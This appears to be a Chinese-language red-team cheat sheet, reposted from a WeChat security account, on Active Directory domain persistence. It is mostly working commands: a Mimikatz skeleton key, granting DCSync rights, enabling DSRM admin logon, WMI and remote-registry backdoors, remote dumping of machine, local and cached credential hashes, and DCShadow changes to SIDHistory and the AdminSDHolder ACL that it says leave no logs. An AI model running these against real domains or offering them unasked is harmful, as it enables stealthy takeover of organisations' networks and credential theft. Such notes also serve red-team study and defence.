域持久性
必须以DA权限运行
Mimikatz攻击
DC运行为所有用户启用密码 "mimikatz"
privilege::debug
misc::skeleton
使用 PowerView 授予特定用户 DCSync 权限
选择的用户授予 DCSync 的权限,在某些设置中可能会逃避检测。
Add-ObjectACL -TargetDistinguishedName "dc=targetdomain,dc=com" -PrincipalSamAccountName BackdoorUser -Rights DCSync
域控制器 DSRM 管理员
DSRM 管理员是 DC 的本地管理员帐户,需要先启用远程登录。
New-ItemProperty "HKLM:SystemCurrentControlSetControlLsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
现在我们可以使用之前转储在 DC 上的本地管理哈希远程登录,使用例如“ overpass -the-hash”来获取会话。
修改远程 WMI 访问的安全描述符
使用Nishang 的 Set-RemoteWMI cmdlet授予用户 WMI 访问计算机的权限。可以运行以持久访问例如 DC。
Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'rootcimv2'
DAMP 修改 DC 注册表安全描述符以进行远程hash检索
使用DAMP工具我们就可以借壳DC注册表来给我们上的访问SAM,SYSTEM以及SECURITY注册表配置单元,这允许我们远程转储 DChash。
Add-RemoteRegBackdoor -ComputerName dc.targetdomain.com -Trustee BackdoorUser
我们使用Add-RemoteRegBackdoor.ps1来自 DAMP的cmdlet添加后门。
Get machine account hash for silver ticket attack
Get-RemoteMachineAccountHash -ComputerName DC01
# Get local account hashes
Get-RemoteLocalAccountHash -ComputerName DC01
# Get cached credentials (if any)
Get-RemoteCachedCredential -ComputerName DC01
DCShadow
DCShadow是一种攻击,它通过暂时模仿一个域控制器来掩盖某些行动。如果你在一个根域中拥有域管理员或企业管理员的权限,它可以被用于森林级的持久化。
作为域管理员,可以选择给一个选定的用户以DCShadow攻击所需的权限(使用Set-DCShadowPermissions.ps1 cmdlet)
Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose
然后,从任何一台机器上使用Mimikatz来进行DCShadow攻击。
# Set SPN for user
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"
# Set SID History for user (effectively granting them Enterprise Admin rights)
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519
# Set Full Control permissions on AdminSDHolder container for user
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl
## Then get target user SID:
Get-NetUser -UserName BackdoorUser | select objectsid
## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-1874506631-3219952063-538504511-45109]])
最后,从DA会话或之前提供DCShadow权限的用户会话,运行DCShadow攻击。之前的动作将被执行,不会留下任何日志。
lsadump::dcshadow /push
原文始发于微信公众号(Khan安全攻防实验室):红队笔记 - 域渗透攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论